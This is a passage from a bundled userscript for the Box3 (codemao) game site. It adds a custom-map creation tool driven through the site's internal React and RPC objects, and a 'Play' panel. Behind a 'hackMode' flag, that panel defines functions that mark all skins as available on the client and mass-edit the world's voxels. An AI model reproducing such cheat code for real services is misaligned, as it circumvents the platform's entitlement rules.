  4818. folders: "QmSvPd3sHK7iWgZuW47fyLy4CaZQe2DwxvRhrJ39VpBVMK",
  4819. info: "QmbpXhRWRMdN4y6CZ4VsPXkkuNfvFSPoSkKn86BVzYh26w",
  4820. physics: "QmTzt6Z6Mm11NQjTeXspDMJtddzDadzwhgwfWUtNG5XCrD",
  4821. player: "QmUMttRLjZYCpW6gLBiLZsCq3VNjWCnK4NtqYaBYJ1GCyh",
  4822. prevHash: "QmcfC4xGX69j1dcgUb3gZS9a9qjCR8aVah1PjQspUVNYvH",
  4823. scriptAssets: "Qmcv3WHWrFohnJXxk2qdV2hk6CE6vQ4BzWMVsE2qFVXV9j",
  4824. scriptIndex: config.scriptIndex,
  4825. storageMode: config.storageMode,
  4826. timestamp: new Date().toISOString(),
  4827. type: "project",
  4828. version: "0.3.11",
  4829. voxels: voxelsHash,
  4830. zones: "QmTgK2uYPscacJ9KaBS8tryXRF5mvjuRbubF7h9bG2GgoN"
  4831. })
  4832. )).Key;
  4833. console.log("Project Hash", projectHash);
  4834. const containerName = await document.querySelector(".app")._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.website.rpc.container.api.createGameEdit(
  4835. { hash: projectHash, name: config.name }
  4836. );
  4837. console.log("Edit container", containerName);
  4838. const editHref = `https://box3.codemao.cn/e/${containerName.slice(5)}`;
  4839. console.log("Edit href", editHref);
  4840. if ((await Swal.fire({
  4841. title: "创建完成",
  4842. text: "已使用自定义参数创建地图",
  4843. icon: "success",
  4844. confirmButtonText: "进入地图"
  4845. })).isConfirmed) {
  4846. location.href = editHref;
  4847. }
  4848. } catch (e) {
  4849. Swal.fire("创建失败", String(e), "error");
  4850. }
  4851. return;
  4852. };
  4853. shapeFolder.add(config.shape, "x", 32, 1024, 32);
  4854. shapeFolder.add(config.shape, "y", 32, 1024, 32);
  4855. shapeFolder.add(config.shape, "z", 32, 1024, 32);
  4856. f.add(config, "enableTriggerAPI").name("启用TriggerAPI");
  4857. f.add(config, "scriptIndex").name("脚本入口文件");
  4858. f.add(config, "storageMode", ["sqlite", "pg"]).name("数据库引擎");
  4859. f.add(config, "name").name("地图名称");
  4860. addFunctionButton(f, create, "创建自定义地图");
  4861. }
  4862. function MapContent(gui2) {
  4863. const f = gui2.addFolder("地图工具");
  4864. _CustomMap(f);
  4865. }
  4866. const MapContent$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4867. __proto__: null,
  4868. default: MapContent
  4869. }, Symbol.toStringTag, { value: "Module" }));
  4870. async function Play(gui2) {
  4871. const f = gui2.addFolder("游玩模式");
  4872. const rootElement = await waitElement("#react-container");
  4873. function getCore() {
  4874. return rootElement._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.children.props;
  4875. }
  4876. await waitUntil(() => getCore() && getCore().state);
  4877. const state = getCore().state;
  4878. await waitUntil(() => state.box3.state.appState === 2);
  4879. const waitLabel = addLabel(f, "等待进入地图");
  4880. Object.assign(unsafeWindow, { core: getCore(), state });
  4881. waitLabel.destroy();
  4882. addFunctionButton(
  4883. f,
  4884. async () => {
  4885. state.box3.state.chat.log = [];
  4886. },
  4887. "清空聊天"
  4888. );
  4889. if (settings["flag.hackMode"]) {
  4890. console.log("PlayMode Hack Enabled.");
  4891. Object.assign(unsafeWindow, {
  4892. async getAllSkin() {
  4893. const stop = startLoading();
  4894. state.box3.state.secret.availableSkin = (await getCore().brpc.skin.api.getAll()).map((e) => e.name);
  4895. stop();
  4896. Swal.fire("Got all skins", "", "success");
  4897. },
  4898. async fillWaterWorld() {
  4899. for (let x = 0; x < state.box3.state.voxel.shape[0]; x++)
  4900. for (let y = 0; y < state.box3.state.voxel.shape[1]; y++)
  4901. for (let z = 0; z < state.box3.state.voxel.shape[2]; z++)
  4902. if (state.box3.voxel.getVoxel(x, y, z) === 0)
  4903. state.box3.voxel._setVoxel(x, y, z, 364);
  4904. },
  4905. async clearWater() {
  4906. for (let x = 0; x < state.box3.state.voxel.shape[0]; x++)
  4907. for (let y = 0; y < state.box3.state.voxel.shape[1]; y++)
  4908. for (let z = 0; z < state.box3.state.voxel.shape[2]; z++)
  4909. if (state.box3.voxel.getVoxel(x, y, z) === 364)
  4910. state.box3.voxel._setVoxel(x, y, z, 0);
  4911. }
  4912. });
  4913. }
  4914. GraphicSettings(getCore, state, f);
  4915. }
  4916. const Play$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4917. __proto__: null,
  4918. default: Play
  4919. }, Symbol.toStringTag, { value: "Module" }));
  4920. })();